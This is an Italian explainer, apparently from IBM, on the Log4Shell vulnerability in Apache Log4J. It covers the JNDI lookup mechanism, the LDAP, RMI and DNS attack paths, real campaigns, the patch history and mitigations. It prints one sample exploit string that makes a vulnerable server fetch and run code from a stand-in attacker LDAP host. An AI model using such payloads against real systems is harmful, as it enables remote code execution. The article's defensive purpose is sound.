Log4Shell, nota anche come vulnerabilità Log4J, è una vulnerabilità RCE (Remote Code Execution) presente in alcune versioni della libreria Java Apache Log4J 2. Log4Shell consente agli hacker di eseguire praticamente qualsiasi codice sui sistemi interessati, garantendo loro essenzialmente il controllo totale di app e dispositivi.
Log4Shell: identificatore CVE di vulnerabilità ed esposizioni comuni: CVE-2021-44228: ha un punteggio CVSS (Common Vulnerability Scoring System) pari a 10, che denota una vulnerabilità critica. È considerata una delle vulnerabilità più pericolose di sempre a causa della sua ampia portata e delle conseguenze potenzialmente devastanti.
Si stima che il 10% di tutti gli asset digitali (link esterno a ibm.com), comprese le applicazioni web, i cloud service e gli endpoint fisici come i server, fossero vulnerabili a Log4Shell al momento della sua scoperta. Gli hacker possono utilizzare Log4Shell per fare praticamente qualsiasi cosa: sottrarre dati (esfiltrazione di dati), installare ransomware, catturare dispositivi per botnet e altro ancora.
I ricercatori della sicurezza cloud hanno scoperto per la prima volta Log4Shell nel novembre 2021. Apache ha rilasciato una patch nel dicembre 2021 e tutte le versioni di Log4J dalla 2.17.1 in poi sono prive di Log4Shell e delle relative vulnerabilità. Tuttavia, la Cybersecurity and Infrastructure Security Agency (CISA) segnala che Log4Shell è ancora tra le vulnerabilità più comunemente sfruttate (link esterno a ibm.com). Log4J è pervasivo nella supply chain del software, quindi individuare e risolvere ogni istanza vulnerabile può richiedere anni.
Nel frattempo, i team di sicurezza possono adottare altre misure per ridurre l'esposizione della rete, discusse più dettagliatamente di seguito.
Ottieni insight dettagliati per gestire meglio il rischio di una violazione dei dati con l'ultimo report di Cost of a Data Breach.
Registrati per l'X-Force Threat Intelligence Index
Log4Shell incide su Log4J, una libreria di registrazione open source gestita dall'Apache Software Foundation. Log4J è un logger, un componente software che registra informazioni ed eventi in un programma, come messaggi di errore e input dell'utente.
Log4J non è un programma autonomo, ma un pacchetto di codice che gli sviluppatori possono collegare alle applicazioni Java invece di creare log partendo da zero. Le principali organizzazioni, tra cui Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco e molte altre, utilizzano Log4J nel loro software e nei loro servizi.
Log4Shell deriva dal modo in cui le versioni vulnerabili di Log4J gestiscono due funzioni correlate: lookup Java Naming and Directory Interface (JNDI) e message lookup substitution. Ciascuna funzione da sola sarebbe innocua, ma l'interazione tra di loro fornisce agli hacker un'arma potente.
JNDI è un'application programming interface (API) che le app Java utilizzano per accedere alle risorse in hosting su server esterni. Una ricerca JNDI è un comando che dice all'app di andare su un server e scaricare un oggetto specifico, come dati o script. Le versioni più vecchie di Log4J eseguono automaticamente qualsiasi codice scaricato in questo modo.
La funzione message lookup substitution consente agli utenti e alle app di inviare variabili a Log4J all'interno dei messaggi di log utilizzando una sintassi specifica: ${prefix:name}. Quando Log4J si trova di fronte a questa sintassi, risolve la variabile e registra il valore nel log. Ad esempio, se Log4J riceve un messaggio che recita
${java:version}
individua la versione corrente di Java in esecuzione sul dispositivo. Nel log, registra: "Java versione X.XX".
In pratica, Log4J non tratta le sostituzioni di ricerca dei messaggi come testo normale. Li tratta come comandi e agisce in base a ciò che dicono. Gli hacker possono sfruttare questa vulnerabilità per inviare comandi di ricerca JNDI nocivi alle app che eseguono versioni vulnerabili di Log4J. Ad esempio, un hacker potrebbe inviare a Log4J una stringa come questa:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Quando Log4J riceve questo messaggio, risolve la variabile contattando il server su myevilwebsite.biz e scaricando l'oggetto che si trova in /maliciouscode. Questo processo porterebbe Log4J a eseguire qualsiasi codice Java che l'hacker avesse nascosto in quella posizione, di solito malware.
Gli hacker possono utilizzare protocolli standard per attivare Log4Shell, in modo che il traffico nocivo possa evitare di essere rilevato più agevolmente. La maggior parte degli attacchi Log4Shell utilizza uno dei seguenti protocolli: Lightweight Directory Access Protocol (LDAP); Remote Method Invocation (RMI) o Domain Name System (DNS).
LDAP viene utilizzato per memorizzare i dati in una posizione centrale accessibile da app e servizi diversi. LDAP è il metodo più comune utilizzato dagli hacker per sfruttare Log4Shell. Un attacco tipico funziona come segue:
- L'hacker configura un server LDAP e memorizza su di esso un codice dannoso.
- L'hacker invia una ricerca JNDI a un programma utilizzando Log4J.
- La ricerca JNDI fa sì che il programma arrivi al server LDAP dell'aggressore, scarichi il payload ed esegua il codice.
RMI è una funzione Java che consente a un'app su un dispositivo di dire a un'app su un altro dispositivo di eseguire un'azione, come condividere informazioni o eseguire una funzione.
Gli attacchi RMI funzionano più o meno come gli attacchi LDAP: gli hacker configurano un server RMI, ingannano la vittima inducendola a connettersi al proprio server e inviano comandi dannosi alla vittima.
Gli attacchi RMI non sono molto diffusi, ma alcuni hacker (link esterno a ibm.com) stanno passando a RMI perché sempre più organizzazioni stanno bloccando del tutto il traffico LDAP.
Gli hacker utilizzano il DNS per cercare obiettivi. Inviano una ricerca JNDI a un programma, dicendogli di connettersi a un server DNS che gli hacker controllano. Se il server DNS registra una connessione dal programma, gli hacker sanno che il sistema è vulnerabile a ulteriori tentativi di sfruttamento di Log4Shell.
Poiché Log4Shell consente agli hacker di eseguire codice arbitrario, i criminali informatici possono utilizzare la vulnerabilità per lanciare una serie di diversi attacchi. Anche Log4Shell rappresentava una vulnerabilità zero-day al momento della sua scoperta per cui gli hacker avevano un vantaggio se la sfruttavano.
Alcuni dei primi attacchi Log4Shell hanno infettato i computer con i cryptojacker, un tipo di malware che utilizza un dispositivo per estrarre criptovalute all'insaputa del proprietario. Anche la botnet Mirai ha sfruttato la falla per impossessarsi dei dispositivi.
Più attacchi ransomware hanno sfruttato Log4Shell. I più importanti includono il ceppo Khonsari, che si è diffuso tramite il videogioco Minecraft, e NightSky, che ha preso di mira i sistemi con VMware Horizon.
I broker di accesso hanno utilizzato Log4Shell per stabilire punti di appoggio nelle reti aziendali di alto valore, spesso rilasciando segretamente Trojan di accesso remoto (RAT) sui sistemi compromessi. I broker di accesso poi vendono questi punti d'appoggio agli affiliati di ransomware-as-a-service o ad altri hacker sul dark web.
Mentre Apache lavorava alla patch di Log4Shell dopo la sua scoperta, è emersa una serie di difetti correlati. In definitiva, sono state necessarie quattro patch per risolvere completamente Log4Shell e tutte le relative vulnerabilità.
La prima patch Apache rilasciata, Log4J versione 2.15.0, ha risolto gran parte della vulnerabilità Log4Shell. Tuttavia, gli hacker potrebbero comunque inviare ricerche JNDI nocive a sistemi che utilizzavano determinate impostazioni non predefinite. Apache ha risolto il problema con Log4J versione 2.16.0.
Anche la versione 2.16.0 si è rivelata incompleta. Gli hacker potrebbero utilizzare la ricerca di messaggi dannosi per inviare i sistemi vulnerabili in ricorsioni infinite, portando ad attacchi denial-of-service. Apache ha rilasciato la versione 2.17 per risolvere il problema.
Meno grave degli altri, questo difetto consentiva agli hacker di eseguire codice in remoto, ma prima dovevano ottenere autorizzazioni elevate e modificare le configurazioni dei log. Apache ha affrontato questo problema con una quarta patch, Log4J versione 2.17.1.
I ricercatori sulla sicurezza raccomandano vivamente alle organizzazioni di assegnare priorità all'aggiornamento di tutte le istanze di Log4J nelle loro reti alla versione più recente o almeno alla versione 2.17.1. Le patch sono l'unico modo per correggere completamente Log4Shell.
Tuttavia, i team addetti alla sicurezza potrebbero non riuscire ad associare immediatamente tutte le istanze di Log4J nelle loro reti. Le installazioni Vulnerable Log4J sono spesso presenti come dipendenze indirette, per cui gli asset dell'azienda non utilizzano Log4J, ma fanno affidamento su altre app e servizi che lo fanno. Secondo Google (link esterno a ibm.com), la maggior parte delle istanze Log4J vulnerabili sono profonde più di un livello e alcune sono profonde fino a nove livelli.
Quando Log4J è una dipendenza indiretta, diventa molto più difficile per i team addetti alla sicurezza individuarla. Quando la individuano, i team potrebbero non riuscire a correggerla, a seconda della posizione. Se Log4J è sepolto in un pacchetto software utilizzato da un'app di terze parti, il team di sicurezza dovrà aggiornare Log4J in quella posizione.
Anche quando Log4J è presente come dipendenza diretta, potrebbe essere difficile da individuare. Il processo di sviluppo del software è oggi molto complesso e fa affidamento su grandi team e vasti array di codice preesistente. Gli sviluppatori potrebbero non rendersi conto che le loro app contengono versioni vulnerabili di Log4J, poiché tali istanze potrebbero risiedere all'interno di pacchetti software prescritti che gli sviluppatori non hanno codificato personalmente.
A dicembre 2022, il 25% dei download di Log4J (link esterno a ibm.com) era ancora vulnerabile a Log4Shell e questo significa che gli utenti utilizzano versioni obsolete di Log4J per creare nuovi asset.
Log4J è così ampiamente utilizzato nella supply chain del software che, secondo il Dipartimento per la sicurezza nazionale degli Stati Uniti (link esterno a ibm.com), individuare e risolvere ogni istanza vulnerabile richiederà almeno un decennio.
Nel frattempo, i team di sicurezza possono adottare altre misure per ridurre l'esposizione alla rete.
I team addetti alla sicurezza possono disabilitare la funzione message lookup substitutions in Log4J, in modo che Log4J tratti i messaggi degli hacker come testo normale anziché come comandi da eseguire.
È possibile farlo in due modi: cambiando la proprietà di sistema "Log4J2.formatMsgNoLookups" su "true" o impostando il valore della variabile di ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS su "true".
Tieni presente che le versioni non corrispondenti di Log4J soffrono ancora di CVE-2021-45046, che consente agli hacker di inviare ricerche JNDI nocive quando vengono utilizzate determinate impostazioni non predefinite. Vietare la ricerca dei messaggi non è, quindi, infallibile.
Le app Java utilizzano le classi per definire ciò che un programma può fare. In Log4J, la classe "JNDIlookup" regola le ricerche JNDI. Se questa classe viene rimossa dalla directory delle classi di Log4J, ovvero il classpath, le ricerche JNDI non possono più essere eseguite.
La mancata autorizzazione delle ricerche JNDI impedisce agli hacker di inviare comandi dannosi, ma può anche incidere su altre funzioni di Log4J e sulle app che lo utilizzano. Può anche essere difficile garantire che ogni istanza della classe venga rimossa.
Le organizzazioni possono utilizzare firewall e altri strumenti di cybersecurity per bloccare il traffico proveniente da asset vulnerabili con accesso a Internet verso i server controllati dagli aggressori. Ad esempio, i team addetti alla sicurezza potrebbero impostare regole per non consentire tutte le connessioni utilizzando protocolli LDAP o RMI.
Il blocco del traffico in uscita anziché del traffico in entrata aiuta a evitare falsi positivi, poiché fornitori e ricercatori di sicurezza potrebbero scansionare gli asset per trovare istanze persistenti e senza patch.
Lo svantaggio è che i firewall possono bloccare o frustrare le connessioni in uscita necessarie, specialmente se un'organizzazione utilizza LDAP o RMI per motivi legittimi.
Outsmart attacca con una suite di sicurezza connessa e modernizzata. Il portfolio QRadar è dotato di AI di livello aziendale e offre prodotti integrati per la sicurezza degli endpoint, la gestione log, le piattaforme SIEM e SOAR, il tutto con un'interfaccia utente comune, insight condivisi e workflow connessi.
Implementate on-premises o in un cloud ibrido, le soluzioni IBM per la sicurezza dei dati aiutano a acquisire maggiore visibilità e insight per indagare e porre rimedio alle minacce informatiche, applicare controlli in tempo reale e gestire la conformità normativa.
L'individuazione proattiva alle minacce, il monitoraggio continuo e un'analisi approfondita delle minacce sono solo alcune delle priorità che deve affrontare un reparto IT già impegnato. Avere a disposizione un team affidabile di risposta agli incidenti può ridurre i tempi di risposta, minimizzare l'impatto di un attacco informatico e aiutarti a recuperare più rapidamente.
L'hacking (chiamato anche cyber hacking) è l'uso di mezzi non convenzionali o illeciti per ottenere l'accesso non autorizzato a un dispositivo digitale, un sistema di elaborazione o una rete informatica.
Un software dannoso, o malware, è un programma progettato per danneggiare i sistemi informatici o gli utenti, come ransomware, Trojan horse e spyware.